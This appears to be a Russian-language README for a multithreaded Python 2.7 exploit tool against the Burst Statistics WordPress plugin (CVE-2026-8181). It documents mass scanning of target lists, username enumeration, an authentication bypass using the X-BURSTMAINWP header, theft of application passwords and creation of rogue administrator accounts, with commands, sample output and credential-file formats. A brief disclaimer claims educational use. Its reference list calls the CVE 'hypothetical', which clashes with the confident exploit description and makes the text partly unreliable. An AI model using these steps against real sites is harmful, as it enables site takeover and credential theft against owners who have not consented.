CVE-2026-8181 — Эксплойт обхода аутентификации Burst Statistics

Эксплойт для Python 2.7, использующий уязвимость плагина Burst Statistics (CVE-2026-8181), которая позволяет неаутентифицированным атакующим обойти аутентификацию REST API, получить пароли приложений и создавать новых пользователей с правами администратора на уязвимых сайтах WordPress.

⚠️ Отказ от ответственности
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования безопасности. Несанкционированный доступ к компьютерным системам противозаконен. Используйте его только на сайтах, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Дополнительный отказ от ответственности вы можете увидеть на обложке Jenderal92. Ознакомиться с ним можно ЗДЕСЬ !!!

CVE-2026-8181 затрагивает плагин Burst Statistics для WordPress (версии до установки патча). Недостаток кроется в механизме аутентификации REST API и позволяет атакующему:

Обойти аутентификацию, отправив специально сформированный заголовок X-BURSTMAINWP
Получить пароли приложений через конечную точку /burst/v1/mainwp-auth
Выполнять привилегированные действия (просматривать список пользователей, читать настройки, создавать новые учётные записи администратора) через REST API WordPress

Возможности

Многопоточное сканирование (по умолчанию 10 потоков)
Автоматическое определение базовых путей WordPress (/, /wordpress, /wp)
Перебор имён пользователей через /wp-json/wp/v2/users или редиректы по идентификатору автора
Использование обхода аутентификации для:
- Получения паролей приложений (токен в кодировке Base64)
- Проверки доступа к чувствительным конечным точкам REST API (настройки, плагины, администраторы)
- Создания нового пользователя с правами администратора со случайными учётными данными
Два выходных файла:
- res_login.txt — краткие учётные данные REST API, разделённые символом | (легко парсить/импортировать)
- full_res_login.txt — полный отчёт в удобочитаемом виде, включая проверку доступа и пароли приложений

Требования

Python 2.7 (устаревший, но требуемый скриптом)
Библиотека requests

pip install requests

Использование

Подготовьте файл со списком целей (по одному домену или IP-адресу в строке, с http:///https:// или без них).

Пример targets.txt:
```
example.com
https://vulnerable-site.com
127.0.0.1/wordpress
```
Запустите эксплойт:

python2 CVE-2026-8181.py targets.txt

Результаты сохраняются в два файла в текущем каталоге:
- res_login.txt — учётные данные REST API (по одной строке на каждую уязвимую цель)
- full_res_login.txt — подробный отчёт

Параметры командной строки

Аргумент	Описание
`list.txt`	Путь к файлу, содержащему URL-адреса целей

Пример вывода (консоль)

============================================================
CVE-2026-8181 - Burst Statistics Auth Bypass Exploit
============================================================
[*] Total targets: 2
[*] Threads: 10
[*] Base paths: ['', '/wordpress', '/wp']

[*] Scanning: example.com
    Trying path: /
    Detected username: admin
    [+] VULNERABLE! REST API bypass successful
    [+] Application Password obtained!
    [+]   Username: admin
    [+]   App Password: xxxx xxxx xxxx
    [+]   Base64 Token: YWRtaW46eHh4eA==
    [+] Access confirmed: WordPress settings
    [+] Access confirmed: Installed plugins
    [+] Access confirmed: Admin users
    [+] Admin user created via REST API: wp_abc123
    [+] Results saved to res_login.txt and full_res_login.txt

Форматы выходных файлов

1. `res_login.txt` — краткие учётные данные REST API

Каждая строка имеет следующий формат с разделителем |:

target|username|password|email|user_id

Пример:

http://example.com|wp_xyz789|AbC123xyz456|[email protected]|42

Этот формат идеально подходит для:

Импорта в менеджеры паролей или базы данных
Автоматизации дальнейших действий (например, скриптов входа в систему)
Быстрого просмотра с помощью cut, grep или Excel

2. `full_res_login.txt` — полный подробный отчёт

Для каждой уязвимой цели скрипт добавляет блок в удобочитаемом виде:

============================================================
Target: http://example.com
============================================================

[+] Access Verification:
    [+] WordPress settings
    [+] Installed plugins
    [+] Admin users

[+] REST API Credentials:
    Username: wp_abc123
    Password: random12char
    Email: [email protected]
    User ID: 42
    URL: http://example.com/wp-admin/
    Note: Use with X-BURSTMAINWP header

[+] Application Password:
    Username: admin
    App Password: xxxx xxxx xxxx
    Base64 Token: YWRtaW46eHh4eA==

Примечание: Если конечная точка пароля приложения недоступна или не возвращает токен, в соответствующем разделе будет указано FAILED.

Принцип работы

Подготовка цели — добавляет префикс http://, если он отсутствует, и удаляет завершающие слэши.
Перебор путей — пробует /, /wordpress и /wp в качестве базовых каталогов WordPress.
Перебор имён пользователей — запрашивает /wp-json/wp/v2/users или использует редиректы ?author=N.
Проверка обхода — отправляет X-BURSTMAINWP: 1 вместе с Basic-аутентификацией, используя имя пользователя и фиктивный пароль (CVE-2026-8181). Если конечная точка /wp-json/wp/v2/users/me?context=edit возвращает 200, сайт уязвим.
Эксплуатация —
- Запрашивает /wp-json/burst/v1/mainwp-auth для получения токена пароля приложения.
- Проверяет доступ к /settings, /plugins, /users.
- Создаёт новую учётную запись администратора через POST /wp-json/wp/v2/users.
Сохранение результатов — записывает краткие учётные данные REST API в res_login.txt, а полные сведения — в full_res_login.txt.

Настройка

Вы можете изменить следующие переменные внутри скрипта:

THREADS — количество одновременных потоков (по умолчанию 10)
BASE_PATHS — дополнительные подкаталоги WordPress для проверки
Значения тайм-аута requests

Лицензия

Этот проект предоставляется исключительно в образовательных целях. Используйте на свой страх и риск.

Ссылки

Сведения о CVE-2026-8181 (гипотетический)
Плагин Burst Statistics (затронутые версии)

CVE-2026-8181

Популярное